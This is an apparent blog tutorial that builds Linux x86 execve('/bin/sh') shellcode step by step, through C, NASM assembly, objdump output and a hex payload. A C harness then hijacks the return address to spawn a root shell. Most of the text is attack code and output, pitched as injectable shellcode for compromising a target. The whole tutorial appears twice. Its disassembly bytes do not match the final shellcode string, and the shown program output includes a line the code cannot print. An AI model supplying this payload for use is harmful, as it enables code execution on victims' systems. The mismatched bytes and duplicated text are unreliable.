In previous tutorial,We have learned how to write exit() shellcode. Learning to write simple exit() shellcode is in reality just a learning exercise.
Now it's time to write a shellcode to do something a little more useful. This tutorial will be dedicated to doing something more fun— the typical attacker’s trick of spawning a root shell that can be used to compromise your target computer.
The first step in developing an exploit is writing the shellcode that you want run on the target machine. It's called shellcode because typically this code will provide a command shell to the attacker.We will follow five steps to shellcode success:
1. Write desired shellcode in a high-level language.
2. Compile and disassemble the high-level shellcode program.
3. Analyze how the program works from an assembly level.
4. Clean up the assembly to make it smaller and injectable.
5. Extract opcodes and create shellcode.
Shell-Spawning Shellcode with execve:
The first step is to create a simple C program to spawn our shell.The easiest and fastest method of creating a shell is to create a new process. Linux provide two methods for creating process: fork() and execve(). Using fork() and execve() together creates a copy of the existing process, while execve()singularly executes another program in place of the existing one.Let’s keep it as simple as possible and use execve by itself.
The execve shellcode is probably the most used shellcode in the world.The goal of this shellcode is to let the application into which it is being injected run an application such as /bin/sh. There are several implementations techniques of execve shellcode for the Linux operating systems like “jump / call” and “push” techniques.
There are several ways to execute a program on Linux systems. One of the most widely used methods
is to call the execve system call. For our purpose, we will use execve to execute the /bin/sh
program. Execve is the almighty system call that can be used to execute a file. The linux implementation looks like this:
int execve (const char *filename, char *const argv [], char *const envp[]);
Let's understand it:
execve() executes the program pointed to by filename. filename must be either a binary executable or a script starting with a line of the form“#! interpreter [arg]". In the latter case, the interpreter must be a valid pathname for an executable that is not itself a script and that will be invoked as interpreter [arg] filename.
argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both argv and envp must be terminated by a null pointer.
In short, The first argument has to be a pointer to a string that represents the file we like to execute. The second argument is a pointer to an array of pointers to strings.These pointers point to the arguments that should be given to the program upon execution.The last argument is also an array of pointers to strings. These strings are the environment variables we want the program to receive.
Before constructing shellcode, it is good to write a small program that performs the desired task of the shellcode. Let's write a code that executes the file /bin/sh using the execve system call.Therefore,spawning a shell from a C program looks like:
#include <unistd.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
execve(args[0], args, NULL);
}
In the above example we passed to execve():
a pointer to the string "/bin/sh";
an array of two pointers (the first pointing to the string "/bin/sh" and the second null);
a null pointer (we don't need any environment variables).
If this code is not clear , have a look: C Programming for hackers.
Let’s compile and execute the program:
root@kali:~/Desktop/Assembly/shell_spawn# gcc -o shell shell.c
root@kali:~/Desktop/Assembly/shell_spawn# ./shell
#
As you can see, our shell has been spawned. This isn’t very interesting right now, but if this code were injected remotely and then executed, you could see how powerful this little program can be.
Ok, we got our shell! Now let's see how to use this system call in assembler (since there are only three arguments, we can use registers). We immediately have to tackle two problems:
1.the first is a well-known problem: we can't insert null bytes in the shellcode; but this time we can't help using them: for instance, the shellcode must contain the string "/bin/sh" and, in C, strings must be null-terminated. And we will even have to pass two null pointers among the arguments to execve()!
2.the second problem is finding the address of the string. Absolute memory addressing makes development much longer and harder, but, above all, it makes almost impossible to port the shellcode among different programs and distributions.
To solve the first problem, we will make our shellcode able to put the null bytes in the right places at run-time.
To solve the second problem, instead, we will use relative memory addressing.The classic method of performing this trick is to start the shellcode with a jump instruction, which will jump past the meat of the shellcode directly to a call instruction. Jumping directly to a call instruction sets up relative
addressing. When the call instruction is executed, the address of the instruction immediately following the call instruction will be pushed onto the stack. The trick is to place whatever you want as the base relative address directly following the call instruction. We now automatically have our base address stored on the stack, without having to know what the address was ahead of time.
We still want to execute the meat of our shellcode, so we will have the call instruction call the instruction immediately following our original jump. This will put the control of execution right back to the beginning of our shellcode. The final modification is to make the first instruction following the jump be a POP ESI, which will pop the value of our base address off the stack and put it into ESI. Now we can reference different bytes in our shellcode by using the distance, or offset, from ESI.
In short words, The "classic" method to retrieve the address of the shellcode is to begin with a CALL instruction. The first thing a CALL instruction does is, in fact, pushing the address of the next byte onto the stack (to allow the RET instruction to insert this address in EIP upon return from the called function); then the execution jumps to the address specified by the parameter of the CALL instruction. This way we have obtained our starting point: the address of the first byte after the CALL is the last value on the stack and we can easily retrieve it with a POP instruction! Therefore, the overall structure of the shellcode will be:
jmp short mycall ; Immediately jump to the call instruction
shellcode:
pop esi ; Store the address of "/bin/sh" in ESI
[...]
mycall:
call shellcode ; Push the address of the next byte onto the stack: the next
db "/bin/sh" ; byte is the beginning of the string "/bin/sh"
The DB or define byte directive (it’s not technically an instruction) allows us to set aside space in memory for a string. The following steps show what happens with this code:
1. The first instruction is to jump to mycall, which immediately executes the CALL instruction.
2. The CALL instruction now stores the address of the first byte of our string (/bin/sh) on the stack.
3. The CALL instruction calls shellcode.
4. The first instruction in our shellcode is a POP ESI, which puts the value of the address of our string into ESI.
5. The meat of the shellcode can now be executed using relative addressing.
Now that the addressing problem is solved, let’s fill out the meat of shellcode using pseudocode. Then we will replace it with real assembly instructions and get our shellcode. We will leave a number of placeholders (9 bytes) at the end of our string, which will look like this:
‘/bin/shJAAAAKKKK’
Now we can fill the structure of the shellcode with something useful. Let's see, step by step, what it will have to do:
1.Fill EAX with nulls by xoring EAX with itself.
2.Terminate our /bin/sh string by copying AL over the last byte of the string. Remember that AL is null because we nulled out EAX in the previous instruction. You must also calculate the offset from the beginning of the string to the J placeholder.
3. Get the address of the beginning of the string, which is stored in ESI, and copy that value into EBX.
4. Copy the value stored in EBX, now the address of the beginning of the string, over the AAAA placeholders. This is the argument pointer to the binary to be executed, which is required by execve. Again, you need to calculate the offset.
5. Copy the nulls still stored in EAX over the KKKK placeholders, using the correct offset.
6. EAX no longer needs to be filled with nulls, so copy the value of our execve syscall (0x0b) into AL.
7. Load EBX with the address of our string.
8. Load the address of the value stored in the AAAA placeholder, which is a pointer to our string, into ECX.
9. Load up EDX with the address of the value in KKKK, a pointer to null.
10. Execute int 0x80.
This is the resulting assenbly code:
Section .text
global _start
_start:
jmp short mycall ; jmp trick as explained above
shellcode:
pop esi ; esi now represents the location of our string
xor eax, eax ; make eax 0
mov byte [esi + 7], al ; terminate /bin/sh
lea ebx, [esi] ; get the adress of /bin/sh and put it in register ebx
mov long [esi + 8], ebx ;put the value of ebx(the address of /bin/sh) in AAAA ([esi +8])
mov long [esi + 12], eax ; put NULL in BBBB (remember xor eax, eax)
mov byte al, 0x0b ;Execution time! we use syscall 0x0b which represents execve
mov ebx, esi ; argument one... ratatata /bin/sh
lea ecx, [esi + 8] ; argument two... ratatata our pointer to /bin/sh
lea edx, [esi + 12] ; argument three... ratataa our pointer to NULL
int 0x80
mycall :
Call shellcode ; part of the jmp trick to get the location of db
db ‘/bin/shJAAAAKKKK’
Now let's extract the opcodes:
$ nasm -f elf get_shell.asm
$ ojdump -d get_shell.o
get_shell.o: file format elf32-i386
Disassembly of section .text:
00000000 <shellcode-0x2>:
0: eb 18 jmp 1a <mycall>
00000002 <shellcode>:
2: 5e pop %esi
3: 31 c0 xor %eax,%eax
5: 88 46 07 mov %al,0x7(%esi)
8: 89 76 08 mov %esi,0x8(%esi)
b: 89 46 0c mov %eax,0xc(%esi)
e: b0 0b mov $0xb,%al
10: 8d 1e lea (%esi),%ebx
12: 8d 4e 08 lea 0x8(%esi),%ecx
15: 8d 56 0c lea 0xc(%esi),%edx
18: cd 80 int $0x80
0000001a <mycall>:
1a: e8 e3 ff ff ff call 2 <shellcode>
1f: 2f das
20: 62 69 6e bound %ebp,0x6e(%ecx)
23: 2f das
24: 73 68 jae 8e <mycall+0x74>
$
Notice we have no nulls and no hardcoded addresses. The final step is to create the shellcode and plug it into a C program:
char shellcode[] =
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41”
“\x4b\x4b\x4b\x4b”;
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Let's complie the program and check:
root@kali:~/Desktop/Assembly/shell_spawn# gcc -o check check.c
root@kali:~/Desktop/Assembly/shell_spawn# ./check
length: 49 bytes
# whoami
root
#
Now you have working, injectable shellcode. If you need to pare down the shellcode, you can sometimes remove the placeholder opcodes at the end of shellcode, as follows:
char shellcode[] =
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”;
If you like this post or have any question, please feel free to comment!
Now it's time to write a shellcode to do something a little more useful. This tutorial will be dedicated to doing something more fun— the typical attacker’s trick of spawning a root shell that can be used to compromise your target computer.
The first step in developing an exploit is writing the shellcode that you want run on the target machine. It's called shellcode because typically this code will provide a command shell to the attacker.We will follow five steps to shellcode success:
1. Write desired shellcode in a high-level language.
2. Compile and disassemble the high-level shellcode program.
3. Analyze how the program works from an assembly level.
4. Clean up the assembly to make it smaller and injectable.
5. Extract opcodes and create shellcode.
Shell-Spawning Shellcode with execve:
The first step is to create a simple C program to spawn our shell.The easiest and fastest method of creating a shell is to create a new process. Linux provide two methods for creating process: fork() and execve(). Using fork() and execve() together creates a copy of the existing process, while execve()singularly executes another program in place of the existing one.Let’s keep it as simple as possible and use execve by itself.
The execve shellcode is probably the most used shellcode in the world.The goal of this shellcode is to let the application into which it is being injected run an application such as /bin/sh. There are several implementations techniques of execve shellcode for the Linux operating systems like “jump / call” and “push” techniques.
There are several ways to execute a program on Linux systems. One of the most widely used methods
is to call the execve system call. For our purpose, we will use execve to execute the /bin/sh
program. Execve is the almighty system call that can be used to execute a file. The linux implementation looks like this:
int execve (const char *filename, char *const argv [], char *const envp[]);
Let's understand it:
execve() executes the program pointed to by filename. filename must be either a binary executable or a script starting with a line of the form“#! interpreter [arg]". In the latter case, the interpreter must be a valid pathname for an executable that is not itself a script and that will be invoked as interpreter [arg] filename.
argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both argv and envp must be terminated by a null pointer.
In short, The first argument has to be a pointer to a string that represents the file we like to execute. The second argument is a pointer to an array of pointers to strings.These pointers point to the arguments that should be given to the program upon execution.The last argument is also an array of pointers to strings. These strings are the environment variables we want the program to receive.
Before constructing shellcode, it is good to write a small program that performs the desired task of the shellcode. Let's write a code that executes the file /bin/sh using the execve system call.Therefore,spawning a shell from a C program looks like:
#include <unistd.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
execve(args[0], args, NULL);
}
In the above example we passed to execve():
a pointer to the string "/bin/sh";
an array of two pointers (the first pointing to the string "/bin/sh" and the second null);
a null pointer (we don't need any environment variables).
If this code is not clear , have a look: C Programming for hackers.
Let’s compile and execute the program:
root@kali:~/Desktop/Assembly/shell_spawn# gcc -o shell shell.c
root@kali:~/Desktop/Assembly/shell_spawn# ./shell
#
As you can see, our shell has been spawned. This isn’t very interesting right now, but if this code were injected remotely and then executed, you could see how powerful this little program can be.
Ok, we got our shell! Now let's see how to use this system call in assembler (since there are only three arguments, we can use registers). We immediately have to tackle two problems:
1.the first is a well-known problem: we can't insert null bytes in the shellcode; but this time we can't help using them: for instance, the shellcode must contain the string "/bin/sh" and, in C, strings must be null-terminated. And we will even have to pass two null pointers among the arguments to execve()!
2.the second problem is finding the address of the string. Absolute memory addressing makes development much longer and harder, but, above all, it makes almost impossible to port the shellcode among different programs and distributions.
To solve the first problem, we will make our shellcode able to put the null bytes in the right places at run-time.
To solve the second problem, instead, we will use relative memory addressing.The classic method of performing this trick is to start the shellcode with a jump instruction, which will jump past the meat of the shellcode directly to a call instruction. Jumping directly to a call instruction sets up relative
addressing. When the call instruction is executed, the address of the instruction immediately following the call instruction will be pushed onto the stack. The trick is to place whatever you want as the base relative address directly following the call instruction. We now automatically have our base address stored on the stack, without having to know what the address was ahead of time.
We still want to execute the meat of our shellcode, so we will have the call instruction call the instruction immediately following our original jump. This will put the control of execution right back to the beginning of our shellcode. The final modification is to make the first instruction following the jump be a POP ESI, which will pop the value of our base address off the stack and put it into ESI. Now we can reference different bytes in our shellcode by using the distance, or offset, from ESI.
In short words, The "classic" method to retrieve the address of the shellcode is to begin with a CALL instruction. The first thing a CALL instruction does is, in fact, pushing the address of the next byte onto the stack (to allow the RET instruction to insert this address in EIP upon return from the called function); then the execution jumps to the address specified by the parameter of the CALL instruction. This way we have obtained our starting point: the address of the first byte after the CALL is the last value on the stack and we can easily retrieve it with a POP instruction! Therefore, the overall structure of the shellcode will be:
jmp short mycall ; Immediately jump to the call instruction
shellcode:
pop esi ; Store the address of "/bin/sh" in ESI
[...]
mycall:
call shellcode ; Push the address of the next byte onto the stack: the next
db "/bin/sh" ; byte is the beginning of the string "/bin/sh"
The DB or define byte directive (it’s not technically an instruction) allows us to set aside space in memory for a string. The following steps show what happens with this code:
1. The first instruction is to jump to mycall, which immediately executes the CALL instruction.
2. The CALL instruction now stores the address of the first byte of our string (/bin/sh) on the stack.
3. The CALL instruction calls shellcode.
4. The first instruction in our shellcode is a POP ESI, which puts the value of the address of our string into ESI.
5. The meat of the shellcode can now be executed using relative addressing.
Now that the addressing problem is solved, let’s fill out the meat of shellcode using pseudocode. Then we will replace it with real assembly instructions and get our shellcode. We will leave a number of placeholders (9 bytes) at the end of our string, which will look like this:
‘/bin/shJAAAAKKKK’
Now we can fill the structure of the shellcode with something useful. Let's see, step by step, what it will have to do:
1.Fill EAX with nulls by xoring EAX with itself.
2.Terminate our /bin/sh string by copying AL over the last byte of the string. Remember that AL is null because we nulled out EAX in the previous instruction. You must also calculate the offset from the beginning of the string to the J placeholder.
3. Get the address of the beginning of the string, which is stored in ESI, and copy that value into EBX.
4. Copy the value stored in EBX, now the address of the beginning of the string, over the AAAA placeholders. This is the argument pointer to the binary to be executed, which is required by execve. Again, you need to calculate the offset.
5. Copy the nulls still stored in EAX over the KKKK placeholders, using the correct offset.
6. EAX no longer needs to be filled with nulls, so copy the value of our execve syscall (0x0b) into AL.
7. Load EBX with the address of our string.
8. Load the address of the value stored in the AAAA placeholder, which is a pointer to our string, into ECX.
9. Load up EDX with the address of the value in KKKK, a pointer to null.
10. Execute int 0x80.
This is the resulting assenbly code:
Section .text
global _start
_start:
jmp short mycall ; jmp trick as explained above
shellcode:
pop esi ; esi now represents the location of our string
xor eax, eax ; make eax 0
mov byte [esi + 7], al ; terminate /bin/sh
lea ebx, [esi] ; get the adress of /bin/sh and put it in register ebx
mov long [esi + 8], ebx ;put the value of ebx(the address of /bin/sh) in AAAA ([esi +8])
mov long [esi + 12], eax ; put NULL in BBBB (remember xor eax, eax)
mov byte al, 0x0b ;Execution time! we use syscall 0x0b which represents execve
mov ebx, esi ; argument one... ratatata /bin/sh
lea ecx, [esi + 8] ; argument two... ratatata our pointer to /bin/sh
lea edx, [esi + 12] ; argument three... ratataa our pointer to NULL
int 0x80
mycall :
Call shellcode ; part of the jmp trick to get the location of db
db ‘/bin/shJAAAAKKKK’
Now let's extract the opcodes:
$ nasm -f elf get_shell.asm
$ ojdump -d get_shell.o
get_shell.o: file format elf32-i386
Disassembly of section .text:
00000000 <shellcode-0x2>:
0: eb 18 jmp 1a <mycall>
00000002 <shellcode>:
2: 5e pop %esi
3: 31 c0 xor %eax,%eax
5: 88 46 07 mov %al,0x7(%esi)
8: 89 76 08 mov %esi,0x8(%esi)
b: 89 46 0c mov %eax,0xc(%esi)
e: b0 0b mov $0xb,%al
10: 8d 1e lea (%esi),%ebx
12: 8d 4e 08 lea 0x8(%esi),%ecx
15: 8d 56 0c lea 0xc(%esi),%edx
18: cd 80 int $0x80
0000001a <mycall>:
1a: e8 e3 ff ff ff call 2 <shellcode>
1f: 2f das
20: 62 69 6e bound %ebp,0x6e(%ecx)
23: 2f das
24: 73 68 jae 8e <mycall+0x74>
$
Notice we have no nulls and no hardcoded addresses. The final step is to create the shellcode and plug it into a C program:
char shellcode[] =
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41”
“\x4b\x4b\x4b\x4b”;
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
Let's complie the program and check:
root@kali:~/Desktop/Assembly/shell_spawn# gcc -o check check.c
root@kali:~/Desktop/Assembly/shell_spawn# ./check
length: 49 bytes
# whoami
root
#
Now you have working, injectable shellcode. If you need to pare down the shellcode, you can sometimes remove the placeholder opcodes at the end of shellcode, as follows:
char shellcode[] =
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”;
If you like this post or have any question, please feel free to comment!